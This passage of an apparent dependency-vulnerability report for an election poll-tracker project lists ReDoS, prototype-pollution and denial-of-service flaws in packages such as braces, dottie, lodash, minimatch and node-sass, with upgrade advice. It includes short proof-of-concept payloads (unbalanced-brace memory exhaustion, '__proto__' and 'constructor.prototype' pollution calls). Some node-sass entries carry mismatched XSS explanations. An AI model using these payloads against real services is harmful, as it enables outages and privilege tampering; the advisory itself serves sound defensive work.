console.log("time_cost: " + time_cost)

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.21.3 or higher.

References

high severity

Excessive Platform Resource Consumption within a Loop

  • Vulnerable module: braces
  • Introduced through: exhibit-plugin-browserify@0.10.1, sequelize-cli@2.8.0 and others

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-browserify@0.10.1 micromatch@2.3.11 braces@1.8.5
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 findup-sync@1.0.0 micromatch@2.3.11 braces@1.8.5
    Remediation: Upgrade to sequelize-cli@3.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-directory@0.10.1 sane@1.7.0 anymatch@1.3.2 micromatch@2.3.11 braces@1.8.5
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD nunjucks@2.5.2 chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11 braces@1.8.5
    Remediation: Upgrade to nunjucks@3.2.3.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11 braces@1.8.5
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates nunjucks@2.5.2 chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11 braces@1.8.5
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD nunjucks@2.5.2 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 braces@2.3.2
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates nunjucks@2.5.2 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 braces@2.3.2
    Remediation: Upgrade to sequelize-cli@3.0.0.

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.

PoC

const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

Remediation

Upgrade braces to version 3.0.3 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: dottie
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1 dottie@1.1.1
    Remediation: Upgrade to sequelize@4.0.0.

Overview

dottie is a Fast and safe nested object access and manipulation in JavaScript

Affected versions of this package are vulnerable to Prototype Pollution due to insufficient checks, via the set() function and the current variable in the /dottie.js file.

PoC

var dottie = require("dottie")


var obj1 = {}
var obj2 = {}

var bad_path1 = '__proto__.test1'
var bad_path2 = '__proto__.test2'
console.log("before:"+ obj1.test1)
console.log("before:"+ obj2.test2)
dottie.default(obj1,bad_path1,"polluted1")
dottie.set(obj2,bad_path2,"polluted2")
console.log("after:"+obj1.test1)
console.log("after:"+obj2.test2)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade dottie to version 2.0.4 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution through the zipObjectDeep function due to improper user input sanitization in the baseZipObject function.

PoC

lodash.zipobjectdeep:

const zipObjectDeep = require("lodash.zipobjectdeep");

let emptyObject = {};


console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true

lodash:

const test = require("lodash");

let emptyObject = {};


console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

test.zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.17 or higher.

References

high severity

Infinite loop

  • Vulnerable module: markdown-it
  • Introduced through: g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates markdown-it@7.0.1

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Infinite loop in linkify inline rule when using malformed input.

Remediation

Upgrade markdown-it to version 13.0.2 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: merge
  • Introduced through: exhibit-directory@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-directory@0.10.1 sane@1.7.0 exec-sh@0.2.2 merge@1.2.1

Overview

merge is a library that allows you to merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser.

Affected versions of this package are vulnerable to Prototype Pollution. The 'merge' function already checks for 'proto' keys in an object to prevent prototype pollution, but does not check for 'constructor' or 'prototype' keys.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade merge to version 2.1.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: minimatch
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 minimatch@2.0.10
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 glob@4.5.3 minimatch@2.0.10
    Remediation: Upgrade to sequelize-cli@3.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 minimatch@0.2.14
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 glob@3.1.21 minimatch@0.2.14

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via complicated and illegal regexes.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.0.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: minimatch
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 minimatch@2.0.10
    Remediation: Open PR to patch minimatch@2.0.10.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 glob@4.5.3 minimatch@2.0.10
    Remediation: Upgrade to sequelize-cli@3.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 minimatch@0.2.14
    Remediation: Open PR to patch minimatch@0.2.14.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 glob@3.1.21 minimatch@0.2.14
    Remediation: Open PR to patch minimatch@0.2.14.

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.0.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Denial of Service (DoS). There are memory leaks triggered by deeply nested code, such as code with a long sequence of open parenthesis characters, leading to a remote denial of service attack. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

high severity

Improper Input Validation

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Improper Input Validation. There is an illegal address access in the Eval::operator function in eval.cpp. A crafted input will lead to a remote denial of service. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

